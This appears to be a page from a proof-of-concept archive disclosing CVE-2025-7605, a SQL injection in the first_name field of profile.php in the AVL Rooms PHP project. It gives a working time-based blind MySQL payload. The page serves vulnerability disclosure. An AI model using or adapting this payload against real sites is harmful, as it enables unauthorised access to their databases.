CVE-2025-7605 PoC — Code-Projects AVL Rooms 安全漏洞

来源

关联漏洞

介绍

# CVE-2025-7605
code-projects AVL Rooms Project V1.0/profile.php SQL injection
# NAME OF AFFECTED PRODUCT(S)
AVL Rooms
# Vendor Homepage
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/
# submitter
dazhi
# Vulnerable File
/profile.php
# VERSION(S)
V1.0
# Software Link
https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

#  Payload:
---
    Parameter: first_name (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: first_name=1111' AND (SELECT 9037 FROM (SELECT(SLEEP(5)))RgOn) AND 'Tnsa'='Tnsa&last_name=1111&register_username=admin@qq.com&mobile_number=1111111111&city=11&state=11&action=
---

文件快照

 [4.0K]  /data/pocs/1b4cf104ada4bfe3643280380c4ada731fb8fbe2
└── [ 718]  README.md

0 directories, 1 file

备注